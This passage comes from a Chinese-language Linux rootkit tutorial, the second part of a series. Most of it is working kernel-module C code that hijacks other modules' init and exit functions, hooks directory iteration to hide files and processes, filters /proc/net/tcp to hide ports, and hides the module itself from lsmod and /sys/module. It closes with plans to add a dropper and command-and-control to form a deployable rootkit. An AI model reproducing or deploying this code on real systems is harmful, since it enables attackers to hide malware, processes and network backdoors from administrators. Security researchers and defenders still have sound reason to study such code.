笔者决定多读读代码,少讲理论, 234 | 所以我们先简要分析一下内核模块的加载过程。 235 | 相关代码位于内核源码树的 ``kernel/module.c`` 。 236 | 我们从 ``init_module`` 开始看。 237 | 238 | .. code-block:: c 239 | 240 | SYSCALL_DEFINE3(init_module, void __user *, umod, 241 | unsigned long, len, const char __user *, uargs) 242 | { 243 | int err; 244 | struct load_info info = { }; 245 | 246 | // 检查当前设置是否允许加载内核模块。 247 | err = may_init_module(); 248 | 249 | if (err) 250 | return err; 251 | 252 | pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n", 253 | umod, len, uargs); 254 | 255 | // 复制模块到内核。 256 | err = copy_module_from_user(umod, len, &info); 257 | if (err) 258 | return err; 259 | 260 | // 交给 ``load_module`` 进一步处理。 261 | return load_module(&info, uargs, 0); 262 | } 263 | 264 | 模块加载的主要工作都是 ``load_module`` 完成的,这个函数比较长, 265 | 这里只贴我们关心的一小段。 266 | 267 | .. code-block:: c 268 | 269 | static int load_module(struct load_info *info, const char __user *uargs, 270 | int flags) 271 | { 272 | // 这儿省略若干代码。 273 | 274 | /* Finally it's fully formed, ready to start executing. */ 275 | // 模块已经完成加载,可以开始执行了(但是还没有执行)。 276 | err = complete_formation(mod, info); 277 | if (err) 278 | goto ddebug_cleanup; 279 | 280 | // 我们注册的通知处理函数会在 ``prepare_coming_module`` 的 281 | // 时候被调用,完成偷天换日。在下面我们还会分析一下这个函数。 282 | err = prepare_coming_module(mod); 283 | if (err) 284 | goto bug_cleanup; 285 | 286 | // 这儿省略若干代码。 287 | 288 | // 在 ``do_init_module`` 里面,模块的初始函数会被执行。 289 | // 然而在这个时候,我们早就把他的初始化函数掉包了(/偷笑)。 290 | return do_init_module(mod); 291 | 292 | // 这儿省略若干代码:错误时释放资源等。 293 | } 294 | 295 | .. code-block:: c 296 | 297 | static int prepare_coming_module(struct module *mod) 298 | { 299 | int err; 300 | 301 | ftrace_module_enable(mod); 302 | err = klp_module_coming(mod); 303 | if (err) 304 | return err; 305 | 306 | // 就是这儿!调用通知链中的通知处理函数。 307 | // ``MODULE_STATE_COMING`` 会原封不动地传递给我们的处理函数, 308 | // 我们的处理函数只需处理这个通知。 309 | blocking_notifier_call_chain(&module_notify_list, 310 | MODULE_STATE_COMING, mod); 311 | return 0; 312 | } 313 | 314 | 说的具体点, 315 | 我们注册的通知链处理函数是在 ``notifier_call_chain`` 316 | 函数里被调用的,调用层次为: ``blocking_notifier_call_chain`` -> 317 | ``__blocking_notifier_call_chain`` -> ``notifier_call_chain`` 。 318 | 有疑惑的读者可以细致地看看这部分代码, 319 | 位于内核源码树的 ``kernel/notifier.c`` 。 320 | 321 | 代码分析告一段落,接下来我们看看如何注册模块通知处理函数。 322 | 用于描述通知处理函数的结构体是 ``struct notifier_block`` , 323 | 定义如下 。 324 | 325 | .. code-block:: c 326 | 327 | typedef int (*notifier_fn_t)(struct notifier_block *nb, 328 | unsigned long action, void *data); 329 | 330 | struct notifier_block { 331 | notifier_fn_t notifier_call; 332 | struct notifier_block __rcu *next; 333 | int priority; 334 | }; 335 | 336 | 注册或者注销模块通知处理函数可以使用 ``register_module_notifier`` 337 | 或者 ``unregister_module_notifier`` ,函数原型如下。 338 | 339 | .. code-block:: c 340 | 341 | int 342 | register_module_notifier(struct notifier_block *nb); 343 | 344 | int 345 | unregister_module_notifier(struct notifier_block *nb); 346 | 347 | 编写一个通知处理函数,然后填充 ``struct notifier_block`` 结构体, 348 | 最后使用 ``register_module_notifier`` 注册就可以了。代码片段如下。 349 | 350 | .. code-block:: c 351 | 352 | int 353 | module_notifier(struct notifier_block *nb, 354 | unsigned long action, void *data); 355 | 356 | struct notifier_block nb = { 357 | .notifier_call = module_notifier, 358 | .priority = INT_MAX 359 | }; 360 | 361 | 上面的代码是声明处理函数并填充所需结构体; 362 | 下面是处理函数具体实现。 363 | 364 | .. code-block:: c 365 | 366 | int 367 | fake_init(void); 368 | void 369 | fake_exit(void); 370 | 371 | 372 | int 373 | module_notifier(struct notifier_block *nb, 374 | unsigned long action, void *data) 375 | { 376 | struct module *module; 377 | unsigned long flags; 378 | // 定义锁。 379 | DEFINE_SPINLOCK(module_notifier_spinlock); 380 | 381 | module = data; 382 | fm_alert("Processing the module: %s\n", module->name); 383 | 384 | //保存中断状态加锁。 385 | spin_lock_irqsave(&module_notifier_spinlock, flags); 386 | switch (module->state) { 387 | case MODULE_STATE_COMING: 388 | fm_alert("Replacing init and exit functions: %s.\n", 389 | module->name); 390 | // 偷天换日:篡改模块的初始函数与退出函数。 391 | module->init = fake_init; 392 | module->exit = fake_exit; 393 | break; 394 | default: 395 | break; 396 | } 397 | 398 | // 恢复中断状态解锁。 399 | spin_unlock_irqrestore(&module_notifier_spinlock, flags); 400 | 401 | return NOTIFY_DONE; 402 | } 403 | 404 | 405 | int 406 | fake_init(void) 407 | { 408 | fm_alert("%s\n", "Fake init."); 409 | 410 | return 0; 411 | } 412 | 413 | 414 | void 415 | fake_exit(void) 416 | { 417 | fm_alert("%s\n", "Fake exit."); 418 | 419 | return; 420 | } 421 | 422 | 实验 423 | **** 424 | 425 | 测试时我们还需要构建另外一个简单的模块( ``test`` )来测试, 426 | 从下图可以看到在加载用于控制模块加载的内核模块( ``komonko`` ) 427 | 之前, ``test`` 的初始函数与退出函数都正常的执行了; 428 | 在加载 ``komonko`` 之后, 无论是加载 ``test`` 还是卸载 ``test`` , 429 | 它的初始函数与退出函数都没有执行, 430 | 执行的是我们掉包后的初始函数与退出函数。 431 | 432 | .. image:: images/komon.png 433 | 434 | 3. 隐藏文件 435 | +++++++++++ 436 | 437 | 说好的重点内容文件隐藏来了。 438 | 不过说到文件隐藏,我们不妨先看看文件遍历的实现, 439 | 也就是系统调用 ``getdents`` / ``getdents64`` , 440 | 简略地浏览它在内核态服务函数(sys_getdents)的源码 441 | (位于 ``fs/readdir.c`` ),我们可以看到如下调用层次, 442 | ``sys_getdents`` -> ``iterate_dir`` 443 | -> ``struct file_operations`` 里的 ``iterate`` 444 | -> 这儿省略若干层次 445 | -> ``struct dir_context`` 里的 ``actor`` ,也就是 ``filldir`` 。 446 | 447 | ``filldir`` 负责把一项记录(比如说目录下的一个文件或者一个子目录) 448 | 填到返回的缓冲区里。如果我们钩掉 ``filldir`` , 449 | 并在我们的钩子函数里对某些特定的记录予以直接丢弃, 450 | 不填到缓冲区里,上层函数与应用程序就收不到那个记录, 451 | 也就不知道那个文件或者文件夹的存在了,也就实现了文件隐藏。 452 | 453 | 具体说来,我们的隐藏逻辑如下: 454 | 篡改根目录(也就是“/”)的 ``iterate`` 为我们的假 ``iterate`` , 455 | 在假函数里把 ``struct dir_context`` 里的 ``actor`` 替换成我们的 456 | 假 ``filldir`` ,假 ``filldir`` 会把需要隐藏的文件过滤掉。 457 | 458 | 下面是假 ``iterate`` 与 假 ``filldir`` 的实现。 459 | 460 | .. code-block:: c 461 | 462 | int 463 | fake_iterate(struct file *filp, struct dir_context *ctx) 464 | { 465 | // 备份真的 ``filldir``,以备后面之需。 466 | real_filldir = ctx->actor; 467 | 468 | // 把 ``struct dir_context`` 里的 ``actor``, 469 | // 也就是真的 ``filldir`` 470 | // 替换成我们的假 ``filldir`` 471 | *(filldir_t *)&ctx->actor = fake_filldir; 472 | 473 | return real_iterate(filp, ctx); 474 | } 475 | 476 | 477 | int 478 | fake_filldir(struct dir_context *ctx, const char *name, int namlen, 479 | loff_t offset, u64 ino, unsigned d_type) 480 | { 481 | if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) { 482 | // 如果是需要隐藏的文件,直接返回,不填到缓冲区里。 483 | fm_alert("Hiding: %s", name); 484 | return 0; 485 | } 486 | 487 | /* pr_cont("%s ", name); */ 488 | 489 | // 如果不是需要隐藏的文件, 490 | // 交给的真的 ``filldir`` 把这个记录填到缓冲区里。 491 | return real_filldir(ctx, name, namlen, offset, ino, d_type); 492 | } 493 | 494 | 495 | 钩某个目录的 ``struct file_operations`` 里的函数, 496 | 笔者写了一个通用的宏。 497 | 498 | .. code-block:: c 499 | 500 | # define set_f_op(op, path, new, old) \ 501 | do { \ 502 | struct file *filp; \ 503 | struct file_operations *f_op; \ 504 | \ 505 | fm_alert("Opening the path: %s.\n", path); \ 506 | filp = filp_open(path, O_RDONLY, 0); \ 507 | if (IS_ERR(filp)) { \ 508 | fm_alert("Failed to open %s with error %ld.\n", \ 509 | path, PTR_ERR(filp)); \ 510 | old = NULL; \ 511 | } else { \ 512 | fm_alert("Succeeded in opening: %s\n", path); \ 513 | f_op = (struct file_operations *)filp->f_op; \ 514 | old = f_op->op; \ 515 | \ 516 | fm_alert("Changing iterate from %p to %p.\n", \ 517 | old, new); \ 518 | disable_write_protection(); \ 519 | f_op->op = new; \ 520 | enable_write_protection(); \ 521 | } \ 522 | } while(0) 523 | 524 | 525 | 实验 526 | **** 527 | 528 | 实验时,笔者随(gu)手(yi)用来隐藏的文件名: ``032416_525.mp4`` 。 529 | 从下图我们可以看到,在加载我们的内核模块( ``fshidko`` )之前, 530 | ``test`` 目录下的 ``032416_525.mp4`` 是可以列举出来的; 531 | 但是加载 ``fshidko`` 之后就看不到了,并且在 ``dmesg`` 的日志里, 532 | 我们可以看到 ``fshidko`` 打印的隐藏了这个文件的信息。 533 | 534 | .. image:: images/fshid.png 535 | 536 | 选读内容:相关内核源码的简略分析 537 | ******************************** 538 | 539 | .. code-block:: c 540 | 541 | SYSCALL_DEFINE3(getdents, unsigned int, fd, 542 | struct linux_dirent __user *, dirent, unsigned int, count) 543 | { 544 | // 这儿省略若干代码。 545 | 546 | struct getdents_callback buf = { 547 | .ctx.actor = filldir, // 最后的接锅英雄。 548 | .count = count, 549 | .current_dir = dirent 550 | }; 551 | 552 | // 这儿省略若干代码。 553 | 554 | // 跟进 ``iterate_dir``, 555 | // 可以看到它是通过 ``struct file_operations`` 里 556 | // ``iterate`` 完成任务的。 557 | error = iterate_dir(f.file, &buf.ctx); 558 | 559 | // 这儿省略若干代码。 560 | 561 | return error; 562 | } 563 | 564 | int iterate_dir(struct file *file, struct dir_context *ctx) 565 | { 566 | struct inode *inode = file_inode(file); 567 | int res = -ENOTDIR; 568 | 569 | // 如果 ``struct file_operations`` 里的 ``iterate`` 570 | // 为 ``NULL``,返回 ``-ENOTDIR`` 。 571 | if (!file->f_op->iterate) 572 | goto out; 573 | 574 | // 这儿省略若干代码。 575 | 576 | res = -ENOENT; 577 | if (!IS_DEADDIR(inode)) { 578 | ctx->pos = file->f_pos; 579 | // ``iterate_dir`` 把锅甩给了 580 | // ``struct file_operations`` 里的 ``iterate``, 581 | // 对这个 ``iterate`` 的分析请看下面。 582 | res = file->f_op->iterate(file, ctx); 583 | file->f_pos = ctx->pos; 584 | // 这儿省略若干代码。 585 | } 586 | // 这儿省略若干代码。 587 | out: 588 | return res; 589 | } 590 | 591 | 这一层一层的剥开, 592 | 我们来到了 ``struct file_operations`` 里面的 ``iterate`` , 593 | 这个 ``iterate`` 在不同的文件系统有不同的实现, 594 | 下面(位于 ``fs/ext4/dir.c`` ) 595 | 是针对 ext4_ 文件系统的 ``struct file_operations`` , 596 | 我们可以看到 ext4_ 文件系统的 ``iterate`` 是 ``ext4_readdir`` 。 597 | 598 | .. code-block:: c 599 | 600 | const struct file_operations ext4_dir_operations = { 601 | .llseek = ext4_dir_llseek, 602 | .read = generic_read_dir, 603 | .iterate = ext4_readdir, 604 | .unlocked_ioctl = ext4_ioctl, 605 | #ifdef CONFIG_COMPAT 606 | .compat_ioctl = ext4_compat_ioctl, 607 | #endif 608 | .fsync = ext4_sync_file, 609 | .open = ext4_dir_open, 610 | .release = ext4_release_dir, 611 | }; 612 | 613 | ``ext4_readdir`` 经过各种各样的操作之后会通过 ``filldir`` 614 | 把目录里的项目一个一个的填到 ``getdents`` 615 | 返回的缓冲区里,缓冲区里是一个个的 ``struct linux_dirent`` 。 616 | 我们的隐藏方法就是在 ``filldir`` 里把需要隐藏的项目给过滤掉。 617 | 618 | 4. 隐藏进程 619 | +++++++++++ 620 | 621 | Linux 上纯用户态枚举并获取进程信息, `/proc`_ 是唯一的去处。 622 | 所以,对用户态隐藏进程,我们可以隐藏掉 `/proc`_ 下面的目录, 623 | 这样用户态能枚举出来进程就在我们的控制下了。 624 | 读者现在应该些许体会到为什么文件隐藏是本文的重点内容了。 625 | 626 | 我们修改一下上面隐藏文件时的假 ``filldir`` 即可实现进程隐藏, 627 | 如下所示。 628 | 629 | .. code-block:: c 630 | 631 | int 632 | fake_filldir(struct dir_context *ctx, const char *name, int namlen, 633 | loff_t offset, u64 ino, unsigned d_type) 634 | { 635 | char *endp; 636 | long pid; 637 | 638 | // 把字符串变成长整数。 639 | pid = simple_strtol(name, &endp, 10); 640 | 641 | if (pid == SECRET_PROC) { 642 | // 是我们需要隐藏的进程,直接返回。 643 | fm_alert("Hiding pid: %ld", pid); 644 | return 0; 645 | } 646 | 647 | /* pr_cont("%s ", name); */ 648 | 649 | // 不是需要隐藏的进程,交给真的 ``filldir`` 填到缓冲区里。 650 | return real_filldir(ctx, name, namlen, offset, ino, d_type); 651 | } 652 | 653 | 实验 654 | **** 655 | 656 | 笔者选择隐藏 pid 1 来做演示。在使用 systemd_ 的系统上, 657 | pid 1 总是 systemd_ ,看下图, 658 | 我们可以看到加载我们的模块( ``pshidko`` )之后, 659 | ``ps -A`` 看不到 systemd_ 了;把 ``pshidko`` 卸载掉, 660 | systemd_ 就显示出来了。 661 | 662 | .. image:: images/pshid.png 663 | 664 | 665 | 5. 隐藏端口 666 | +++++++++++ 667 | 668 | 向用户态隐藏端口, 669 | 其实就是在用户进程读 `/proc`_ 下面的相关文件获取端口信息时, 670 | 把需要隐藏的的端口的内容过滤掉, 671 | 使得用户进程读到的内容里面没有我们想隐藏的端口。 672 | 673 | 具体说来,看下面的表格。 674 | 675 | ============ ================== ======================= ================= 676 | 网络类型 `/proc`_ 文件 内核源码文件 主要实现函数 677 | ------------ ------------------ ----------------------- ----------------- 678 | TCP_ / IPv4_ ``/proc/net/tcp`` ``net/ipv4/tcp_ipv4.c`` ``tcp4_seq_show`` 679 | ------------ ------------------ ----------------------- ----------------- 680 | TCP_ / IPv6_ ``/proc/net/tcp6`` ``net/ipv6/tcp_ipv6.c`` ``tcp6_seq_show`` 681 | ------------ ------------------ ----------------------- ----------------- 682 | UDP_ / IPv4_ ``/proc/net/udp`` ``net/ipv4/udp.c`` ``udp4_seq_show`` 683 | ------------ ------------------ ----------------------- ----------------- 684 | UDP_ / IPv6_ ``/proc/net/udp6`` ``net/ipv6/udp.c`` ``udp6_seq_show`` 685 | ============ ================== ======================= ================= 686 | 687 | 本小节以 TCP_ / IPv4_ 为例,其他情况读者可举一反三。 688 | 689 | 文件的第一行是每一列的含义, 690 | 后面的行就是当前网络连接( socket_ / 套接字)的具体信息。 691 | 这些信息是通过 ``seq_file`` 接口在 ``/proc`` 中暴露的。 692 | ``seq_file`` 拥有的操作函数如下,我们需要关心是 ``show`` 。 693 | 694 | .. code-block:: c 695 | 696 | struct seq_operations { 697 | void * (*start) (struct seq_file *m, loff_t *pos); 698 | void (*stop) (struct seq_file *m, void *v); 699 | void * (*next) (struct seq_file *m, void *v, loff_t *pos); 700 | int (*show) (struct seq_file *m, void *v); 701 | }; 702 | 703 | 704 | 前面我们提到了隐藏端口也就是在进程读取 ``/proc/net/tcp`` 等文件 705 | 获取端口信息时过滤掉不希望让进程看到的内容,具体来讲, 706 | 就是将 ``/proc/net/tcp`` 等文件的 ``show`` 707 | 函数篡改成我们的钩子函数, 708 | 然后在我们的假 ``show`` 函数里进行过滤。 709 | 710 | 我们先看看用来描述 ``seq_file`` 的结构体,即 ``struct seq_file`` , 711 | 定义于 ``linux/seq_file.h`` 。 712 | ``seq_file`` 有一个缓冲区,也就是 ``buf`` 成员, 713 | 容量是 ``size`` ,已经使用的量是 ``count`` ; 714 | 理解了这几个成员的作用就能理解用于过滤端口信息的假 715 | ``tcp_seq_show`` 了。 716 | 717 | .. code-block:: c 718 | 719 | struct seq_file { 720 | char *buf; // 缓冲区。 721 | size_t size; // 缓冲区容量。 722 | size_t from; 723 | size_t count; // 缓冲区已经使用的量。 724 | size_t pad_until; 725 | loff_t index; 726 | loff_t read_pos; 727 | u64 version; 728 | struct mutex lock; 729 | const struct seq_operations *op; 730 | int poll_event; 731 | const struct file *file; 732 | void *private; 733 | }; 734 | 735 | 钩 ``/proc/net/tcp`` 等文件的 ``show`` 736 | 函数的方法与之前讲隐藏文件钩 ``iterate`` 的方法类似, 737 | 用下面的宏可以通用的钩这几个文件 ``seq_file`` 接口里面的操作函数。 738 | 739 | .. code-block:: c 740 | 741 | # define set_afinfo_seq_op(op, path, afinfo_struct, new, old) \ 742 | do { \ 743 | struct file *filp; \ 744 | afinfo_struct *afinfo; \ 745 | \ 746 | filp = filp_open(path, O_RDONLY, 0); \ 747 | if (IS_ERR(filp)) { \ 748 | fm_alert("Failed to open %s with error %ld.\n", \ 749 | path, PTR_ERR(filp)); \ 750 | old = NULL; \ 751 | } \ 752 | \ 753 | afinfo = PDE_DATA(filp->f_path.dentry->d_inode); \ 754 | old = afinfo->seq_ops.op; \ 755 | fm_alert("Setting seq_op->" #op " from %p to %p.", \ 756 | old, new); \ 757 | afinfo->seq_ops.op = new; \ 758 | \ 759 | filp_close(filp, 0); \ 760 | } while (0) 761 | 762 | 最后,我们看看假 ``show`` 函数是如何过滤掉端口信息的。 763 | 764 | **注1** : ``TMPSZ`` 是 150,内核源码里是这样定义的。 765 | 换句话说,``/proc/net/tcp`` 766 | 里的每一条记录都是 149 个字节(不算换行)长, 767 | 不够的用空格补齐。 768 | 769 | **注2** : 我们不用 ``TMPSZ`` 也可以,并且会更加灵活, 770 | 具体细节请看下面隐藏内核模块时 771 | ``/proc/modules`` 的假 ``show`` 函数是怎么处理的。 772 | 773 | .. code-block:: c 774 | 775 | int 776 | fake_seq_show(struct seq_file *seq, void *v) 777 | { 778 | int ret; 779 | char needle[NEEDLE_LEN]; 780 | 781 | // 把端口转换成 16 进制,前面带个分号,避免误判。 782 | // 用来判断这项记录是否需要过滤掉。 783 | snprintf(needle, NEEDLE_LEN, ":%04X", SECRET_PORT); 784 | // real_seq_show 会往 buf 里填充一项记录 785 | ret = real_seq_show(seq, v); 786 | 787 | // 该项记录的起始 = 缓冲区起始 + 已有量 - 每条记录的大小。 788 | if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) { 789 | fm_alert("Hiding port %d using needle %s.\n", 790 | SECRET_PORT, needle); 791 | // 记录里包含我们需要隐藏的的端口信息, 792 | // 把 count 减掉一个记录大小, 793 | // 相当于把这个记录去除掉了。 794 | seq->count -= TMPSZ; 795 | } 796 | 797 | return ret; 798 | } 799 | 800 | 实验 801 | **** 802 | 803 | 我们拿 TCP_ / IPv4_ 111 端口来做演示, 804 | 读者需要根据实际测试时的环境做必要改动。 805 | 如图,加载 ``pthidko`` 之前,我们可以看到 111 端口处于监听状态; 806 | 加载之后,这条记录不见了,被隐藏起来; 807 | 把 ``pthidko`` 卸载掉,这条记录又显示出来了。 808 | 809 | .. image:: images/pthid.png 810 | 811 | 6. 隐藏内核模块 812 | +++++++++++++++ 813 | 814 | `《Linux Rootkit 系列一: LKM 的基础编写及隐藏》`_ 815 | 一文里提到了隐藏内核模块的两种方式, 816 | 一种可以从 ``lsmod`` 中隐藏掉, 817 | 另一种可以从 ``/sys/module`` 里隐藏掉。 818 | 然而,这两种隐藏方式都使得模块没法卸载了。 819 | 在我们开发的初级阶段,这一点也不方便调试,笔者暂时就不讲这两个了。 820 | 821 | 我们看看另外的思路。从 ``/sys/module`` 里隐藏的话, 822 | 我们使用之前隐藏文件的方式隐藏掉就可以了。 823 | 我想聪明的读者应该想到了这点,这再一次证明了文件隐藏的意义。 824 | 825 | 那么怎么从 ``lsmod`` 里隐藏掉呢。 826 | 仔细回想一下,既然 ``lsmod`` 的数据来源是 ``/proc/modules`` , 827 | 那用我们隐藏端口时采用的方式就好了: 828 | 钩掉 ``/proc/modules`` 的 ``show`` 函数, 829 | 在我们的假 ``show`` 函数里过滤掉我们想隐藏的模块。 830 | 831 | 粗略地浏览内核源码,我们可以发现, 832 | ``/proc/modules`` 的实现位于 ``kernel/module.c`` , 833 | 并且主要的实现函数是 ``m_show`` 。 834 | 835 | 接下来的问题是, 836 | 我们怎么钩这个文件 ``seq_file`` 接口里的 ``show`` 函数呢, 837 | 钩法与 ``/proc/net/tcp`` 并不一样,但是类似,请看下面的宏。 838 | 839 | .. code-block:: c 840 | 841 | # define set_file_seq_op(opname, path, new, old) \ 842 | do { \ 843 | struct file *filp; \ 844 | struct seq_file *seq; \ 845 | struct seq_operations *seq_op; \ 846 | \ 847 | fm_alert("Opening the path: %s.\n", path); \ 848 | filp = filp_open(path, O_RDONLY, 0); \ 849 | if (IS_ERR(filp)) { \ 850 | fm_alert("Failed to open %s with error %ld.\n", \ 851 | path, PTR_ERR(filp)); \ 852 | old = NULL; \ 853 | } else { \ 854 | fm_alert("Succeeded in opening: %s\n", path); \ 855 | seq = (struct seq_file *)filp->private_data; \ 856 | seq_op = (struct seq_operations *)seq->op; \ 857 | old = seq_op->opname; \ 858 | \ 859 | fm_alert("Changing seq_op->"#opname" from %p to %p.\n", \ 860 | old, new); \ 861 | disable_write_protection(); \ 862 | seq_op->opname = new; \ 863 | enable_write_protection(); \ 864 | } \ 865 | } while (0) 866 | 867 | 这个宏与之前写的宏非常类似,唯一的不同, 868 | 并且读者可能不能理解的是下面这一行。 869 | 870 | .. code-block:: c 871 | 872 | seq = (struct seq_file *)filp->private_data; 873 | 874 | 我想,读者的问题应该是: 875 | ``struct file`` 的 ``private_data`` 成员为什么会是我们要找的 876 | ``struct seq_file`` 指针? 877 | 878 | 请看内核源码。下面的片段是 ``/proc/modules`` 的初始部分, 879 | 我们想要做的是钩掉 ``m_show`` 。 880 | 纵观源码,引用了 ``modules_op`` 的只有 ``seq_open`` 。 881 | 882 | .. code-block:: c 883 | 884 | static const struct seq_operations modules_op = { 885 | .start = m_start, 886 | .next = m_next, 887 | .stop = m_stop, 888 | .show = m_show 889 | }; 890 | 891 | static int modules_open(struct inode *inode, struct file *file) 892 | { 893 | return seq_open(file, &modules_op); 894 | } 895 | 896 | 那我们跟进 ``seq_open`` 看看, 897 | seq_open 的实现位于 ``fs/seq_file.c`` 。 898 | 899 | 900 | .. code-block:: c 901 | 902 | int seq_open(struct file *file, const struct seq_operations *op) 903 | { 904 | struct seq_file *p; 905 | 906 | WARN_ON(file->private_data); 907 | 908 | // 分配一个 ``struct seq_file`` 的 内存。 909 | p = kzalloc(sizeof(*p), GFP_KERNEL); 910 | if (!p) 911 | return -ENOMEM; 912 | 913 | // 读者看到这一行应该就能理解了。 914 | // 对 ``/proc/modules`` 而言, 915 | // ``struct file`` 的 ``private_data`` 指向的就是 916 | // 他的 ``struct seq_file``。 917 | file->private_data = p; 918 | 919 | mutex_init(&p->lock); 920 | // 把 ``struct seq_file`` 的 ``op`` 成员赋值成 ``op``, 921 | // 这个 ``op`` 里就包含了我们要钩的 ``m_show`` 。 922 | p->op = op; 923 | 924 | // 这儿省略若干代码。 925 | 926 | return 0; 927 | } 928 | 929 | 这时候,我们可以看看 ``/proc/modules`` 的假 ``show`` 函数了。 930 | 过滤逻辑是很容易理解的; 931 | 读者应该重点注意一下 ``last_size`` 的计算, 932 | 这也就是笔者在讲端口隐藏时说到我们可以不用 TMPSZ , 933 | 我们可以自己计算这一条记录的大小。 934 | 自己计算的灵活性就在于,就算每个记录的大小不是同样长的, 935 | 我们的代码也能正常工作。 936 | 937 | **注** : ``/proc/modules`` 里的每条记录长度确实不是一样,有长有短。 938 | 939 | .. code-block:: c 940 | 941 | int 942 | fake_seq_show(struct seq_file *seq, void *v) 943 | { 944 | int ret; 945 | size_t last_count, last_size; 946 | 947 | // 保存一份 ``count`` 值, 948 | // 下面的 ``real_seq_show`` 会往缓冲区里填充一条记录, 949 | // 添加完成后,seq->count 也会增加。 950 | last_count = seq->count; 951 | ret = real_seq_show(seq, v); 952 | 953 | // 填充记录之后的 count 减去填充之前的 count 954 | // 就可以得到填充的这条记录的大小了。 955 | last_size = seq->count - last_count; 956 | 957 | if (strnstr(seq->buf + seq->count - last_size, SECRET_MODULE, 958 | last_size)) { 959 | // 是需要隐藏的模块, 960 | // 把缓冲区已经使用的量减去这条记录的长度, 961 | // 也就相当于把这条记录去掉了。 962 | fm_alert("Hiding module: %s\n", SECRET_MODULE); 963 | seq->count -= last_size; 964 | } 965 | 966 | return ret; 967 | } 968 | 969 | 实验 970 | **** 971 | 972 | 我们选择隐藏模块自己( ``kohidko`` )来做演示。看下图。 973 | 加载 ``kohidko`` 之后, 974 | ``lsmod`` 没有显示出我们的模块, 975 | ``/sys/module`` 下面也列举不到我们的模块; 976 | 并且,右侧 ``dmesg`` 的日志也表明我们的假 ``filldir`` 与假 ``show`` 977 | 函数起了过滤作用。 978 | 979 | .. image:: images/kohid.png 980 | 981 | 第二部分:未来展望 982 | ------------------ 983 | 984 | 至此,我们讨论了大部分作为一个 Rootkit 必备的基本功能; 985 | 但是,我们的代码依旧是零散的一个一个的实验,而不是一个有机的整体。 986 | 当然,笔者的代码尽可能的做好了布局组织与模块化, 987 | 这能给我们以后组装的时候节省一些力气。 988 | 989 | 在接下来的文章里,一方面, 990 | 我们会把这些一个一个零散的实验代码组装成一个能进行实验性部署的 991 | Rootkit。要实现这个目标, 992 | 除了组装,我们还需要释放程序( ``Dropper`` ), 993 | 还需要增加远程控制( ``Command & Control`` )能力。 994 | 995 | 再者,我们可能会着手讨论 Rootkit 的检测与反检测。 996 | 还有就是讨论当前 Linux Rootkit 的实际发展状态, 997 | 比如分析已知用于实际攻击的 Rootkit 所采用的技术, 998 | 分析我们的技术水平差异,并从中学习如何实现更先进的功能。 999 | 1000 | 最后,我们还可能改善兼容性与拓展性。 1001 | 我们现在的代码只在比较新的内核版本(比如 4.5.x / 4.6.x)上测试过。 1002 | 而且,我们压根就没有考虑已知的兼容性问题。 1003 | 因而,要想在 3.x,甚至 2.x 上跑, 1004 | 我们还需要花时间兼容不同版本的内核。 1005 | 然后,我们还希望往其他架构上发展(比如 ARM_ )。 1006 | 1007 | **下车,走好。** 1008 | 1009 | 第三部分:参考资料与延伸阅读 1010 | ---------------------------- 1011 | 1012 | 1. 参考资料 1013 | +++++++++++ 1014 | 1015 | - `Linux Cross Reference`_ 1016 | - `This is what a root debug backdoor in a Linux kernel looks like `_ 1017 | - `mncoppola/suterusu: An LKM rootkit targeting Linux 2.6/3.x on x86(_64), and ARM `_ 1018 | - Notification Chains in Linux Kernel `Part 01 `_ `Part 02 `_ `Part 03 `_ 1019 | 1020 | 2. 延伸阅读 1021 | +++++++++++ 1022 | 1023 | - `Suterusu Rootkit: Inline Kernel Function Hooking on x86 and ARM `_ 1024 | 1025 | 1026 | .. _IDT: https://en.wikipedia.org/wiki/Interrupt_descriptor_table 1027 | .. _Interrupt descriptor table: IDT_ 1028 | .. _MSR: https://en.wikipedia.org/wiki/Model-specific_register 1029 | .. _Model-specific register: MSR_ 1030 | .. _MSR_LSTAR: http://lxr.free-electrons.com/ident?i=MSR_LSTAR 1031 | .. _Inline Hooking: https://en.wikipedia.org/wiki/Hooking#API.2FFunction_Hooking.2FInterception_Using_JMP_Instruction 1032 | .. _全志: http://www.allwinnertech.com/ 1033 | .. _AllWinner: `全志`_ 1034 | .. _uid: https://en.wikipedia.org/wiki/User_identifier 1035 | .. _euid: uid_ 1036 | .. _/proc: https://en.wikipedia.org/wiki/Procfs 1037 | .. _API: https://en.wikipedia.org/wiki/Application_programming_interface 1038 | .. _代码仓库: https://github.com/NoviceLive/research-rootkit 1039 | .. _Linux Cross Reference: http://lxr.free-electrons.com/ 1040 | .. _外媒报道:中国知名ARM制造商全志科技在Linux中留下内核后门: http://www.freebuf.com/news/104270.html 1041 | .. _FB: http://www.freebuf.com/ 1042 | .. _RCE: https://en.wikipedia.org/wiki/Arbitrary_code_execution 1043 | .. _LPE: https://en.wikipedia.org/wiki/Privilege_escalation 1044 | .. _《Linux Rootkit 系列一: LKM 的基础编写及隐藏》: http://www.freebuf.com/articles/system/54263.html 1045 | .. _ext4: https://en.wikipedia.org/wiki/Ext4 1046 | .. _systemd: https://www.freedesktop.org/wiki/Software/systemd/ 1047 | .. _TCP: https://en.wikipedia.org/wiki/Transmission_Control_Protocol 1048 | .. _UDP: https://en.wikipedia.org/wiki/User_Datagram_Protocol 1049 | .. _IPv4: https://en.wikipedia.org/wiki/IPv4 1050 | .. _IPv6: https://en.wikipedia.org/wiki/IPv6 1051 | .. _socket: https://en.wikipedia.org/wiki/Network_socket 1052 | .. _ARM: https://www.arm.com/ 1053 | .. _Kali: https://www.kali.org/ 1054 | -------------------------------------------------------------------------------- /source/linux_rootkit/images/codeinj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/codeinj.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/fshid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/fshid.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/fsmon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LibreCrops/documentation-zh_CN/c1c1b8f60dea5671c385da7b20e227e31d3deb7d/source/linux_rootkit/images/fsmon.png -------------------------------------------------------------------------------- /source/linux_rootkit/images/get.png: -------------------------------------------------------------------------------- 